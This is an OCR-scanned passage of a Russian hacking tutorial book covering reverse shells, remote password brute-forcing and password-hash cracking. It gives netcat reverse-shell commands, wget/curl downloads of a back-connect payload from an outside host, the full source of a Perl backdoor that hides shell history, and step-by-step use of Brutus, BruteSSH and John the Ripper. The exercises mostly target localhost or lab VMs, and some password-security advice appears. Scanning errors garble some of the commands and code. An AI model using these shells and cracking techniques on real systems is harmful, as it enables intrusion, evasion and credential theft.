прослушиваемого порта (25), на который будет осуществляться соединение извне. Можно использовать любой другой свободный номер порта. Вместо опции -v (verbose — подробный отчет) можно указать опцию - vv (very verbose — очень подробный отчет). Затем хакер должен запустить netcat на удаленном узле: пс -е /bin/sh 1Р_хакера 25 Эта команда осуществляет обратное соединение (back connect) с компьютером хакера. После параметра указывается исполняемая программа, в данном случае — командная оболочка /bin/sh. Так как IP-адрес локального хоста есть 127.0.0.1, у нас команда будет выглядеть так: пс -е /bin/sh 127.0.0.1 25 В результате на своем компьютере хакер увидит сообщение о том, что произошло соединение (connect), после чего сможет вводить команды, которые будут 0А
Получение полноценного доступа к шеллу 101 выполняться на удаленной системе. В нашем случае, чтобы запустить netcat на удаленной системе, в строке браузера хакер должен ввести команду nc+-e+/bin/sh+127.0.0.1+25 К сожалению, обратное соединение с помощью браузера на нашей системе невозможно. Но чтобы хотя бы посмотреть, как работает обратное соединение, можно запустить оба экземпляра netcat через консоль. Итак, на виртуальной машине с Damn Vulnerable Linux запустите два окна консоли, как показано на рис. 0А.1. Рис. 0А.1. Получение шелла с помощью утилиты пс и удаленное выполнение команд Теперь в первой консоли наберите команду пс -1 -n -vv -р 25 После нажатия клавиши Enter должно появиться сообщение listening on [any] 25 ... Это значит, что netcat ждет входящего соединения на порт 25. Во второй консоли наберите команду su nobody Затем нажмите клавишу Enter. Данная команда позволяет переключиться с пользователя root на пользователя nobody. Это сделано для того, чтобы все выглядело, как в реальной жизни, ведь мы пока что получили доступ к удаленной системе только в качестве пользователя nobody. Теперь во второй консоли запустите программу netcat: пс -е /bin/sh 127.0.0.1 25
102 0А. Получение полноценного доступа к шеллу После нажатия клавиши Enter переключитесь на первую консоль. При этом в первой консоли должно появиться сообщение о внешнем подключении: connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] Это означает, что утилита netcat со второй консоли (в реальной жизни — со взламываемого компьютера) подключилась к netcat с первой консоли (в реальной жизни — консоли на компьютере хакера). Далее наберите в первой консоли команду id и еще раз убедитесь, что вы подключились ко второй консоли, потому что идентификатор пользователя здесь nobody, а в первой консоли вы — пользователь root. Также можете выполнить команду uname -а или любую другую команду. Для завершения соединения с компьютером-жертвой выполните команду exit либо просто нажмите клавиши Ctrl+C. Но что делать, если на компьютере-жертве нет утилиты netcat или она не позволяет использовать параметр -е? Тогда можно «залить» в доступный для записи каталог на удаленном компьютере небольшую хакерскую программу, осуществляющую обратное соединение; такая программка называется бэк-коннект шелл (back connect shell), а найти ее можно через Google, введя запрос back connect shell download. Для реальной работы хакеру надо найти адрес в Интернете, где эта программа уже лежит в виде текстового файла (в чистом виде), либо самому поместить ее на своей страничке в Интернете, чтобы оттуда ее можно было копировать на целевой компьютер. Предположим, хакер нашел такой бэк-коннект шелл и поместил на своей страничке тураде на сайте Народ.ру в виде текстового файла backconnect.txt. (Ни в коем случае так не делайте, даже если загружаете файл оттуда на свой локальный компьютер!) Тогда, чтобы загрузить его на целевой компьютер, он может использовать команду wget со следующими опциями: wget -0 /tmp/bc.pl http://mypage.narod.ru/backconnect.txt Опция -0 позволяет указать после нее имя выводимого файла (обязательно набирайте букву О в верхнем регистре, так как в * nix-системах, в отличие от Windows, регистры букв в командах различаются). В нашем примере файл будет загружен в каталог/tmp под именем bc.pl. В качестве альтернативы можно загрузить файл с помощью команды curl или ftp. В случае curl команда будет выглядеть так: curl -о /tmp/bc.pl http://mypage.narod.ru/backconnect.txt После загрузки не забудьте выполнить следующую команду, чтобы сделать этот файл исполняемым: chmod 755 /tmp/bc.pl Далее запустите его на выполнение, просто указав имя файла /tmp/bc.pl и аргументы: IP-адрес компьютера хакера, с которым нужно соединиться, и номер порта. В нашем случае команда будет примерно такой: /tmp/bc.pl 127.0.0.1 25 Я уже нашел в Интернете неплохой бэк-коннект шелл на языке Perl, так что загрузим его в свой компьютер напрямую. Для этого перейдите на адрес
Получение полноценного доступа к шеллу 103 http://otaku-studios.com/showthread.php/72978-Perl-Backconnect и скопируйте текст программы в буфер обмена. На всякий случай приведу его здесь полностью: #!/usr/bin/perl use 10::Socket; Ssystem = '/bin/bash'; $ARGC=@ARGV; print "IHS BACK-CONNECT BACKDOOR\n\n"; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127.0.0.1 2121 \n"; } use Socket; use FileHandle; socket (SOCKET. PFJNET. SOCKJTREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[l]. inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting... $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; SOCKET->autoflush(); open(STDIN. ">&S0CKET"); open(STDOUT.">&SOCKET"); open(STDERR,">&SOCKET"); print "IHS BACK-CONNECT BACKDOOR \n\n": systemC"unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo; echo --==Userinfo==--; id;echo:echo --==Directory==--; pwd;echo; echo --==Shell==-- "); system($system); #E0F Далее откройте редактор Kate, создайте новый файл, вставьте туда содержимое буфера обмена (текст нашего шелла) и сохраните файл в каталоге /tmp под именем bc.pl. Используем те же два окна консоли, что и в предыдущем примере. Во втором окне, если вы его открыли заново, снова выполните команду su nobody. Если вы его не закрывали, то выполнять эту команду не нужно. Затем там же выполните такую команду: chmod 755 /tmp/bc.pl В первом окне консоли введите, как и в прошлый раз, команду (после чего не забудьте нажать клавишу Enter): пс -1 -n -vv -р 25 Во второй консоли запустите наш шелл: /tmp/bc.pl 127.0.0.1 25
104 0А. Получение полноценного доступа к шеллу Рис. 0А.2. Получение шелла с помощью программы IHS Back-Connect Переключитесь на первую консоль и наблюдайте результат (рис. 0А.2). Как видим, при запуске бэк-коннект шелл автоматически выполняет три ха- керские команды (uname -a, id и pwd) и выводит результат их выполнения. Но на самом деле перед этим выполняется еще пара команд: unset HISTFILE unset SAVEHIST Это можно видеть в исходном тексте программы. Данные команды препятствуют сохранению истории вводимых вами команд в файле .bash_history. Настоящие хакеры всегда вводят их перед началом каждого сеанса работы в чужой системе, чтобы оставлять поменьше следов. Далее вы можете вводить команды сами. Программы, подобные той, которую вы только что использовали, называются еще бэкдорами (backdoor — задняя дверь, черный ход, лазейка). И в самом деле, мы проникаем в систему не как нормальный пользователь, введя логин и пароль, а как бы с черного хода. Ну а в следующих главах мы рассмотрим, как хакер может получить доступ с логином и паролем легального пользователя. Иногда каталогу /tmp назначают так называемый sticky-бит, что выглядит как drwxrwxrwt в листинге каталога. Этот бит не позволяет прочим пользователям удалять в этом каталоге файлы. Тогда для загрузки бэк-коннект шелла (или экс- плойтов для получения прав root) нужно использовать другой каталог, у которого установлены права drwxrwxrwx. Такие каталоги можно найти командой find: find / -type d -perm -0777 -print > /tmp/.file & Указанная команда найдет все подходящие каталоги и сохранит их список в файле/tmp/.file.
Удаленный подбор паролей Мы не зря в главе 02 рассказывали о способах получения содержимого файла /etc/passwd с именами пользователей системы (логинами). Сейчас мы научимся применять программы, осуществляющие подбор паролей к удаленным ресурсам. Такие программы (переборщики паролей) называют еще брутфорсерами (brute force — метод грубой силы). Первым делом мы можем проверить пароли, совпадающие с именами пользователей. Если пользователей в системе много (сотни или даже тысячи), есть шанс, что нам повезет, потому что по статистике примерно 1-3 % из них имеют пароль, совпадающий с логином. Для начала на основе файла /etc/passwd нужно подготовить вручную или с помощью простой программки (которую можно написать самому или взять в Интернете) текстовый файл со списком пользователей и их паролей (в исходном варианте совпадающих с именами пользователей) вида userl:userl user2:user2 userN:userN Далее переключаемся из виртуальной машины в Windows, находим и загружаем из Интернета программу Brutus AET 2 (http://www.hoobie.net/brutus). Кроме того, нужно найти и загрузить программу-клиент PuTTY (под Windows). Программа PuTTY позволяет подключаться к различным портам удаленной системы по разным протоколам. Таким образом, вместо того чтобы сканировать порты удаленной системы, можно будет просто проверить наиболее важные номера портов, подключаясь к ним с помощью программы PuTTY (рис. 0В.1). В Linux для этой цели можно использовать команду пс. Следует для начала проверить порты 21 (FTP — скачивание и закачивание файлов), 110 (РОРЗ — получение почты), 23 (telnet), 22 (SSH — удаленный доступ к командной строке по протоколу SSH). Правда, Brutus не позволяет работать с протоколом SSH, но для этого случая у нас есть программа BruteSSH в Linux Back Track 4. Чтобы с помощью программы PuTTY подключиться к порту SSH, нужно набрать имя хоста или IP-адрес (Host name (or IP-address)) — в нашем примере указан адрес www.site.com, но на самом деле нужен реальный адрес. Порт оставляем по 0В
106 0В. Удаленный подбор паролей Category: - Session Logging - Terminal Keyboard Bell Features - Window Appearance Behaviour Translation Selection Colours | й Connection Data Proxy Telnet RIogin ? m ssh Serial About | j Help Basic options for Specify the destine Host Name (or IP address' iwww.site.com Connection type- Raw ' Jelnet Sav^d Sessions Default Settings Dote window on exit: Always Never _J L your PuTTY session want to connect to Port IN RIogin SSH "..-Serial * ; [ Load J ( Delete j ( ' Only on clean exit U per. Cancel Рис. 0В.1. Стартовое окно программы PuTTY умолчанию (22). Тип соединения (Connection type) также оставляем по умолчанию — SSH. После щелчка на кнопке Open (Открыть) открывается экран терминала. Если на нем появится приглашение типа 1 ogi n as:, значит, доступ по протоколу SSH разрешен. В противном случае появится окно с сообщением об ошибке, а окно терминала закроется. Для пробы можете подключиться к своему компьютеру по адресу 127.0.0.1. Разумеется, система выдаст сообщение об ошибке, потому что этот порт на вашем компьютере закрыт. Чтобы вручную подсоединиться к портам 21, 25, НО, набираем соответствующий номер в поле Port, а в группе Connection type устанавливаем переключатель Raw. Далее остается щелкнуть на кнопке Open. Аналогично предыдущему случаю, если в открывшемся окне терминала появится какой-то текст с приглашением системы, значит, порт открыт. Теперь настает черед программы Brutus (рис. 0В.2). В зависимости от того, какие порты открыты на исследуемой системе, выбираем тип протокола (Туре). Допустим, открыт порт 21 (FTP). В этом случае выбираем вариант FTP. Пароль пользователя root подобрать таким образом не получится, и не только из-за того, что он сложный, а просто потому, что удаленный вход пользователя root по протоколу FTP в современных системах запрещен. Зато пароли простых пользователей найти, возможно, удастся. Для начала выбираем в списке Pass Mode (Режим пароля) вариант Combo List и в поле Combo File указываем имя нашего файла с парами вида логин: пароль. Пример такого файла поставляется с программой Brutus под именем example-combo.txt. Разумеется, в поле Target надо указать
Удаленный подбор паролей 107 адрес исследуемого хоста. После всех приготовлений щелкаем на кнопке Start. Программа запустится, и в случае успеха найденные пароли (и, конечно, логины, к которым они подошли) появятся внизу в таблице Positive Authentication Results (Положительные результаты аутентификации). х Brutus AET7 'Www.hoobie.net/brutus - (January 2000) - Iln xl File lools Help Target j 127.0.0.1 Connection Options Port 121 Connections *"~) Type ]FTP "10 Timeout Г y~~ .7J 10 Г Start j Use Proxy FTP Options Modify sequence | ! Try to stay connected for jUnlimite Ў! attempts Authentication Options Pass Mode | Combo List » Delimiter Combo File j example-combo. M Positive Authentication Results Target : Type Username >word ¦ QZ JUhL. Рис. 0В.2. Главное окно программы Brutus Если программа ничего не найдет, можно попробовать перебор по словарю. В качестве небольшого отступления приведу результаты исследования Морриса и Грамппа (Morris and Grampp). Эти авторы проверили несколько десятков машин, используя в качестве пробных паролей подборку из 20 наиболее распространенных женских имен и добавляя после имени по одной цифре. Общее количество пробуемых паролей составляло 200. Как минимум один из этих 200 паролей оказывался правильным на каждой из проверяемых машин. Для перебора по словарю надо подготовить два файла — файл с именами пользователей и файл с паролями (словарь паролей). С Brutus поставляется небольшой словарь паролей — words.txt. Более объемные словари можно найти в Интернете или позаимствовать у других программ-переборщиков. Есть словари тематические (например, слова, связанные с кино, компьютерами, или уже упоминавшийся список женских имен). Есть и словари для различных языков (английский, немецкий, французский, русский, арабский и т. п.). После этого достаточно в списке Pass Mode выбрать вариант Word List, а в полях User File и Pass File указать, соответственно, файл с логинами и файл словаря.
108 0В. Удаленный подбор паролей Чтобы опробовать программу Brutus на локальном компьютере, нам нужно установить и запустить любой бесплатный FTP-сервер для Windows. Мой выбор пал на сервер TYPSoft FTP Server. Найти его можно по адресу http://soft.mydiv.net/ wi n/fi Les-TYPSoft- FT P-Server. htm L Кстати, потом я нашел в Интернете много информации об уязвимостях данного FTP-сервера, так что для серьезного повседневного применения я вам его не советую, поищите что-либо получше. Сервер не требует установки, достаточно запустить исполняемый файл ftpserv. ехе. Кстати, выбрав в меню команду Setup > FTP, можно задать русский язык интерфейса (Language — russian), но я все проделал с англоязычным интерфейсом. Командой Setup > Users (Настройки > Пользователи) я создал пользователя midnight с паролем 12345 (рис. 0B.3). List of Users Password Directory Access New User Copy User Rename User Delete User J12345 Root Directory i D isable U ser Account I Virtual D irectory S howing "/C:/Directory/" = "/" Max. of User per account: Max. of simultaneous user per account/per IP: Time-Out: (Min) [Max.: GOO min] 0 = No Time Limit File for Welcome Message Files Directory Save File for Goodbye Message Close Рис. ЭВ.З. Создание нового пользователя в TYPSoft FTP Server После этого в каталоге с программой Brutus я создал файл combo.txt, взяв за основу имеющийся там файл example-combo.txt, и внес в него нового пользователя с паролем (midnight: 12345). Далее я настроил программу Brutus, как показано на рис. 0В.4, и запустил ее щелчком на кнопке Start. В нижней части рисунка виден результат положительной аутентификации по протоколу FTP (пароль найден). На вкладке Main нашего FTP-сервера отлично видно, как программа Brutus подбирала пароли (рис. 0В.5). Так что активность хакера в реальной жизни не останется незамеченной. Кстати, TYPSoft FTP Server хранит в файле users.ini среди прочей информации о пользователях и тс15-хэши их паролей, которые легко восстановить средствами, описанными в следующей главе.
Удаленный подбор паролей 109 * Unit us АН/ www.hoobje.not/biutiis File Tools Help Target 127.0.0.1 Type! FTP Start Stop Clear j uonnec Port «on upt |21 ons Connections 10 Timeout 1Q Use Proxy Define j FTP Options Modify sequence } V Try to stay connected for junlimite Ў attempts Authentication Options Single User User File users.txt Positive Authentication Results Pass Mode j Combo List j^j Delimiter]: ,wj Browse j Combo File [combo.txt Browse Target Jffl*. Username 127.0.0.1 FTP midnight Password 12345 Positive authentication at 127.0.0.1 with User: midnight Password : 12345 [2 attempts] I J'cmHninbK P.1 THIp Рис. 0В.4. Подбор паролей по списку combo.txt. Пароль найден! File Server Setup Help Main ! User Info |[22:50:35]- [[22:50:35]- [22:50:35] ¦ [22:50:35]- [22:50:35] - [22:50:35]- [22:50:35] - [22:50:35]- [22:50:35] - [22:50:35] ¦ [22:50:35] - [22:50:35]- [22:50:35]- [67] Connect to 127.0.0.1. Get Username. [68] Connect to 127.0.0.1. Get Username. [69] Connect to 127.0.0.1. Get Username. [70] Connect to 127.0.0.1. Get Username. [68] Authentication Fail: User ADMIN IP: 127.0.0.1 [71 ] Connect to 127.0.0.1. Get Username. [69] User MIDNIGHT Connected [69] MIDNIGHT: Current Directory: C:\TEMP\ [70] Authentication Fail: User ADMIN IP: 127.0.0.1 [71] Authentication Fail: User ADMIN IP: 127.0.0.1 [69] Client MIDNIGHT, 127.0.0.1 Disconnected (00:00:00 Min) [72] Connect to 127.0.0.1. Get Username. [72] Authentication Fail: User ADMIN IP: 127.0.0.1 10 Users Рис. 0В.5. Главное окно TYPSoft FTP Server с информацией о попытках входа
110 0В. Удаленный подбор паролей Теперь можно заходить на сайт по протоколу FTP. Для этого можно использовать любую клиентскую программу, поддерживающую FTP-соединение. Например, можно зайти на сервер, использовав программу Total Commander и указав имя сайта, имя пользователя и пароль. Через Total Commander можно копировать к себе файлы с сервера (и потом просматривать их на своем компьютере) или загружать свои файлы на сервер. Таким способом начинающие хакеры проводят дефейс сайтов. Как мы уже вскользь отмечали в начале книги, дефейс (deface — лишить лица) — это изменение хакером главной страницы сайта. При этом файл index.html или index.php переименовывается в index.old, а вместо него с компьютера хакера подгружается новый файл index.html, который обычно содержит какую-нибудь забавную картинку и информацию о том, что данный сайт взломан. Тем не менее, я вас уверяю, не стоит рисковать своей репутацией и карьерой ради нескольких минут сомнительного удовольствия, хотя о том, что такое дефейс и как он проводится, знать вам все же необходимо. Также мы можем зайти на наш компьютер по протоколу FTP с помощью программы PuTTY. Для этого нужно указать адрес local host, порт 21 и в качестве типа соединения (Connection type) выбрать вариант Raw. В ответ на приглашение FTP-сервера можно вводить имя пользователя, пароль и команды (рис. 0В.6). Рис. 0В.6. Подключение к локальному FTP-серверу с помощью программы PuTTY Если на взломанном сервере открыт порт 22, то хакер может заходить на него по протоколу SSH (с именем пользователя и найденным паролем). Для этого можно использовать как программу PuTTY (в Windows), так и команду ssh (в Linux). Надо только убедиться, что в файле /etc/passwd у пользователя прописан нормальный шелл типа /bin/bash или /bin/sh, а не какой-нибудь /sbin/nologin или / bi n/f al se (фиктивный шелл — это признак того, что в консоли этот пользователь работать не сможет). Таким образом, хакер может входить в систему под видом легального пользователя и выполнять команды в консоли. Если же порт 21 (FTP) закрыт, а открыт порт НО (РОРЗ — получение почты), подбор пароля можно
Удаленный подбор паролей 111 проводить через него — Brutus это тоже позволяет, хотя перебор по РОРЗ может идти несколько медленнее, чем по FTP. Brutus поддерживает работу через прокси-сервер. Для включения этого режима нужно установить флажок Use Proxy и после щелчка на кнопке Define в появившемся диалоговом окне ввести тип и адрес прокси-сервера, а также номер его порта (рис. 0В.7). Если прокси-сервер требует ввода имени пользователя и пароля, ниже их также следует вести. ШдВШШШШШШШЩ I Proxy Connection Options Proxy Type (SOCKS (v5) T] Proxy Address (127.0.0.1 Proxy Port fT080 I Proxy Authentication Options Proxy requires authentication |["'0K'jj Cancel j Рис. 0В.7. Диалоговое окно настройки прокси-сервера в программе Brutus Теперь рассмотрим простую программу BruteSSH, которая позволяет удаленно подобрать пароль конкретного пользователя по протоколу SSH. Запустите виртуальную машину с Back Track 4 и войдите как пользователь root с паролем toor. В консоли запустите сеть: /etc/init.d/networking start Когда сетевая служба стартует, командой startx запустите оконный интерфейс. С помощью текстового редактора создайте файл, в каждой строчке которого будет по одному паролю. Много паролей вводить не надо, достаточно четырех- пяти. Пусть среди них обязательно будет пароль toor. Сохраните файл в каталоге /pentest/passwords/brutessh под именем aa.txt. Через главное меню командой BackTrack > Privilege Escalation > PasswordAttacs > OnlineAttacs > BruteSSH запустите программу BruteSSH. Появится окно консоли с подсказкой по использованию программы. После этого запустите программу следующей командой: ./brutessh.py -h 127.0.0.1 -u root -d aa.txt Если вы все сделали правильно, программа найдет пароль пользователя root, как показано на рис. 0В.8. Всего в дистрибутиве Back Track 4 содержится 9 программ для удаленного взлома паролей, в их числе такие известные брутфорсеры, как Hydra и Medusa. Эти программы, помимо SSH, позволяют работать с множеством других протоколов.
112 OB. Удаленный подбор паролей Рис. 0В.8. Удаленный подбор пароля с помощью программы BruteSSH Для тех, кому сложно разобраться с интерфейсом командной строки, есть программа Xhydra (HydraGTK) с графическим интерфейсом. Программа Hydra может работать не только с одной целью, но и со списком целей. Существует также ее версия для Windows. Пример работы программы Medusa приведен на рис. 0В.9. root@bt: - - She» - Medusa Session Edit View Bookmarks Settings Help Рис. 0В.9. Удаленный подбор пароля с помощью программы Medusa В следующей главе мы рассмотрим тему локального взлома паролей.
Локальный взлом паролей Взлом хэшей паролей * nix-систем Классическим инструментом взлома хэшей паролей в Unix является программа John The Ripper (www.openwall.com). Хакеры ласково именуют ее «джоником». Как хэши паролей могут попасть в руки хакеру? Во-первых, иногда (например, в PC-Linux) хэши паролей содержатся в файле /etc/passwd, доступ к которому на чтение есть у каждого. Во-вторых, для некоторых систем существуют эксплой- ты, позволяющие менять групповую принадлежность любого файла, и таким способом хакер сможет просмотреть файл /etc/shadow. В-третьих, некоторые администраторы копируют файл /etc/shadow, прежде чем вносить в него изменения, и по ошибке предоставляют общий доступ на чтение к копии файла. В-четвертых, с помощью соответствующего эксплойта хакер может получить права суперпользователя (и доступ к просмотру всех файлов) и узнать пароли законных пользователей, в том числе пользователя root. Программа JTR (J°hn The Ripper — Джон-Потрошитель) была первоначально написана для unix-подобных систем, но потом портирована и для Windows. У нас она есть в дистрибутиве Back Track 4, а версию для Windows можно бесплатно скачать с сайта разработчика. Первым делом рекомендуется с помощью утилиты unshadow объединить файлы /etc/passwd и /etc/shadow. Получится файл на базе /etc/passwd, в котором звездочки или крестики будут замены хэшами паролей. Делается это следующим образом: unshadow файл-passwd файл-shadow > результирующий-файл Результат выглядит примерно так: root: JhAraBYwfjR3.:0:0:root:/:/bin/bash mac:GGCfyAEua5zUc:11001:11001:service-myserver.com - POP:/home/mac:/bin/sh pi richer :ySb4B8nseVzEo: 11002:11002: Pitch: /home/pi richer :/bin/sh luis:004IBHwrKKVEA:11003:11003:thisserver.com - POP:/home/1uis:/bin/sh Если результирующий файл вы назвали passwd, то для взлома достаточно выполнить команду (в Windows вместо John используйте команду john-mmx): john passwd 0С
114 0С. Локальный взлом паролей Работу по взлому паролей можно прервать, нажав клавиши Ctrl+C. Текущая сессия при этом сохранится в файле John.гее (по умолчанию). Также она сохраняется в этом файле через каждые 10 минут работы программы. Чтобы возобновить прерванную сессию, используйте команду john --restore Чтобы посмотреть уже взломанные пароли, запустите команду john --show passwd Программа хранит все взломанные хэши и пароли в файле john.pot, который можно просто просмотреть в текстовом редакторе. Это — только азы, а сейчас мы выясним, как применяются различные нетривиальные возможности программы. Сначала следует попробовать запустить программу john в режиме single (одиночный). Это наиболее быстрый по времени исполнения режим. В этом режиме программа пытается подобрать пароль для каждого пользователя, применяя доступную дополнительную информацию из файла/etc/passwd: логин, реальное имя и фамилия, телефон. При этом применяются некоторые преобразования, например, в качестве пароля пробуется логин пользователя, записанный справа налево или с добавлением суффиксов типа «ed», «s», различных цифр. Также некоторые буквы в пароле заменяются сходными по написанию цифрами. Команда для запуска программы john в этом режиме выглядит так: john --single users.txt Здесь файл users.txt содержит упомянутую информацию о пользователях. В нашем случае должен отыскаться пароль пользователя pincher — pitched. Далее можно запустить перебор по словарю. С программой поставляется небольшой словарь наиболее употребительных паролей: password.1st. Командная строка выглядит так: john --wordlist=password.1st users.txt Для перебора не только словарных слов, но и различных их вариаций, используйте опцию --rules: john --rules --wordlist=password.1st users.txt Время работы программы в этом случае увеличится в несколько раз, но и вероятность найти пароль тоже увеличивается. Я очень рекомендую вам найти в Интернете словарь женских имен, они часто используются в качестве паролей как мужчинами, так и женщинами. Кроме того, если вам известна национальная принадлежность пользователя, может помочь словарь данного языка. Если в нашем словаре есть имя richard, то отыщется и пароль пользователя luis. Если нет, то не расстраивайтесь — можно задействовать наиболее мощный режим программы — полный перебор: john --incremental:alnum users.txt Здесь alnum — имя набора символов (буквы и цифры). Если оно не указано (то есть написано просто --incremental) или задана опция al 1 (- -incremental :al 1),
Взлом хэшей паролей *гих-систем 115 то перебор идет по всем возможным символам, включая спецсимволы и пробел. В реальной жизни имеет смысл вначале попробовать только цифры (digits), потом только буквы (alpha). Если пароли состоят только из цифр или только из букв, так они будут найдены намного быстрее. В нашем примере по истечении некоторого времени работы программа отыщет пароль пользователя mac — titanic. Еще несколько полезных опций для выбора пользователей. Во всех случаях знак минус (-) впереди служит для исключения указанных пользователей (выбираются все оставшиеся). --users=[-]LOGIN|UID[,..] Позволяет выбрать всего несколько пользователей для взлома паролей или других действий. --groups-[-]GID[...] Заставляет программу загружать (или не загружать) информацию о пользователях только из указанных групп. --shells-[-]SHELL[...] Заставляет программу загружать пользователей с указанным шеллом [без указанного шелла (шеллов)]. В нашем примере использовались традиционные хэши Unix (зашифрованные алгоритмом DES). Первые 2 символа называются salt (соль). Именно их и зашифровывают, применяя в качестве ключа пароль пользователя. Из известных мне современных систем такие хэши используются, например, в ОС Solaris (и SunOS). В системах с открытым исходным кодом (таких, как Linux и FreeBSD) алгоритм DES задействовать нельзя, потому что правительство США установило ограничение на вывоз исходных кодов программ, реализующих этот алгоритм. Поэтому в FreeBSD и Linux применяется алгоритм MD5. Такие хэши более длинные и всегда начинаются с символов $1. Программа JTR называет их FreeBSD MD5 hash. Иногда в Linux используются и другие алгоритмы хэширования. Например, в случае применения алгоритма BlowFish хэши начинаются с символов $2. Программа John The Ripper автоматически распознает алгоритм хэширования и сообщает его пользователю. Если в одном файле паролей задействованы разные алгоритмы хэширования для разных пользователей, то взламывать их пароли надо поочередно (John может одновременно взламывать только один тип хэшей). В Ubuntu Linux (Back Track 4) поддерживается новый алгоритм хэширования SHA-512, где хэши начинаются с символов $6, и John его не распознает. С точки зрения безопасности преимущество хэшей FreeBSD MD5 перед традиционными заключается в том, что они вычисляются более длительное время. Из-за этого скорость перебора паролей в JTR намного ниже (на моей системе составляет порядка 3500 сравнений в секунду), поэтому реальный взлом паролей сильно затруднен. Другое преимущество MD5 заключается в том, что максимальная длина
116 ОС. Локальный взлом паролей пароля составляет 15 символов, в то время как в случае традиционного Unix- пароля — всего 8 символов. Программа JTR отлично справляется с взломом традиционных Unix-хэшей, потому что использует не стандартный алгоритм DES, а собственную версию, значительно оптимизированную по скорости. Интересно также, что в отличие от большинства программ-взломщиков, в John реализован «хитрый» алгоритм перебора паролей, когда наиболее вероятные с точки зрения английского языка комбинации символов проверяются в первую очередь. Таким образом, длина пароля не наращивается последовательно, а колеблется, то есть могут сначала проверяться 8-символьные пароли, а потом 4-символьные, состоящие из реже встречающихся символов. Помимо *тх-хэшей, программа JTR умеет «ломать» хэши паролей в системах MySQL, MSSQL, Oracle и т. д. — всего порядка 40 различных видов хэшей. Какие выводы можно сделать в плане собственной безопасности? Использовать длинные пароли (у меня длина пароля почтового ящика составляет 15-20 символов) и никогда не использовать чисто цифровые пароли. Пароль не должен быть словарным словом или его простой модификацией. Он должен содержать вперемешку буквы верхнего и нижнего регистров, цифры и специальные символы. Также следует периодически менять пароли, особенно пароль суперпользователя. Например, если достаточно длинный и сложный Linux-пароль менять раз в 3 месяца, то пока хакер будет взламывать с трудом добытый хэш, пароль уже успеет устареть. Особенности взлома LDAP-паролей Протокол LDAP иногда используется в *шх-системах. При этом только информация о пользователе root и системных пользователях хранится в стандартных файлах/etc/passwd и /etc/shadow, информация же о «простых» пользователях хранится в базе данных LDAP. С помощью стандартной утилиты эту информацию можно извлечь в текстовый файл. Хэши *тх-паролей в нем дополнительно кодированы алгоритмом base64. Так что для приведения их в нормальный вид нужно использовать программу ldap2pw с официального сайта производителей программы John The Ripper (http://www.openwalLcom/lists/john-users/2008/02/ll/l). Программа это небольшая, так что приведу ее текст полностью: #! /usr/bin/perl -w use strict; use MIME::Base64; while( <> && ! eof) { # need eof since we will hit eof on the other <> chomp;
Взлом MD5 и некоторых других хэшей 117 my( $uid, $passw, $cn, $dn); $cn = $uid = ''; while( <> ) { # get an object chomp; last if /^\s*$/; # object have blank lines between then if( /"en: (.+)/ ) { $cn = $1; } elsif( /Adn: (.+)/ ) { $dn = $1; } elsif( /AuserP\w+:: (.+)/) { $passw= substr( decode_base64($l), 7); # assuming {crypt} } elsif( /Auid: (.+)/) { $uid = $1; } } print "$uid\:$passw\:\:\:$cn\n" if defined $passw; # only output if object has password } Следует войти в исследуемую систему от имени пользователя root и запустить программу ldap search, а ее вывод перенаправить в программу ldap2pw, которая сохранит пароли в файле Idap.pw: Idapsearch -D "<dn for root>" -w xxxxxx -b "<base dn for users> userpassword uid en | ldap2pw > Idap.pw Затем следует «скормить» файл Idap.pw программе John. Взлом MD5 и некоторых других хэшей Еще несколько лет назад, пожалуй, наилучшим инструментом Windows для массового и быстрого взлома МБ5-хэшей была программа MD5Inside, разработанная компанией InsidePro (рис. 0С.1). По тем временам она показывала чудеса производительности — более 4 млн хэшей в секунду. Программа была и остается бесплатной, но сейчас ее поддержка прекращена. Ее теперь нет на официальном сайте производителя, но ее по-прежнему можно найти в Интернете. Сейчас компания InsidePro выпустила программу PasswordsPro, позволяющую взламывать различные типы хэшей, но эта программа является платной. Поддержка мнопоточности реализована в бесплатной программе MDCrack (21 алгоритм хэширования), скачать ее можно с адреса http://mdcrack.openwall.net. Эта программа запускается только из командной строки. Поддержка мнопоточности реализована также в бесплатной программе для Windows MDCrack (21 алгоритм хэширования), скачать ее можно с адреса http:// c3rb3r.openwall.net/mdcrack/. Эта программа запускается из командной строки
118 ОС. Локальный взлом паролей J файл Редактировать \ Имя ^ |DTest_<Empty> |DTest_.l |DTest_12 |DTestJL23 |DTest_1234 |0Test_A [ElTest_AB I0TestL_ABC |ElTest_ABCD |0Test_ABCDE [QTest.a lnTest_ab |QTest_abc |OTest_abcd |D"Test_abcde jElTestJ |E|Test_!@ |ElTest_!@# Б Пароль: Jpxhml Инструменты Поиск ? D41D8CD9BF00B204E9800998ECFS'». C4CA42 38A0B923820DCC509A6F75849B C20AD4D76FE97759AA27AOC99BFF6710 202CB962AC59075B964B07152D234B7C 81DC9BDB52O04DC20036DBD8313ED055 7РС56270Е7А70РА81А5935В72ЕАСВЕ29 B86FC6B051F63D73DE262D4C34E3A0A9 902FBDD2B1DFOC4F70B4A5D23525E932 СВ08СА4А7ВВ5РУ683С19133А84872СА7 2ECDOE3959051D913F61B14579EA136D 0CC175B9C0F1B6A831C399E269772661 187EF4436122D1CC2F40DC2B92F0EBA0 900150983CO24FB0D6963F7D28E17F72 E2FC714C4727EE9395F324CD2E7F331F ABS6B4D92B40713ACC5AF89935D4B786 9033E0E305F247C0C3C80D0C7848C3B3 4EBCAE6550482E3F4065AD9DF472E5CB 50411758798F11294A9C27DE6C37B4E9 1 12 123 1234 12345 а ab abc abed abode : v Рис. 0С.1. Программа MD5Inside от Inside Pro Thread J*0: Cpu: Dyrtap Thread ¦№!: Current s j Thread, Й0: Candidate Thread tt0: Last candi Thread 80: Candidates i \>\ • ¦¦»а Й0 <tvumriary> andidate I limits; min 6 Info Info Info re maл Info Info Info Info Info GSfmz Info Info Info ning / / nin< / / / / / / / / Thread Thread Thread j Thread T hre ad T lire ad Thread Thread Thread Thread Thread »0: №: tt0: ttl: ttl: ttl: ttl: ttl: m.: ttl: ttl: Ave***ifife speed: 4 744 < 4„?4e+003 > ¦ Allocated k* (»9;< done Estimated 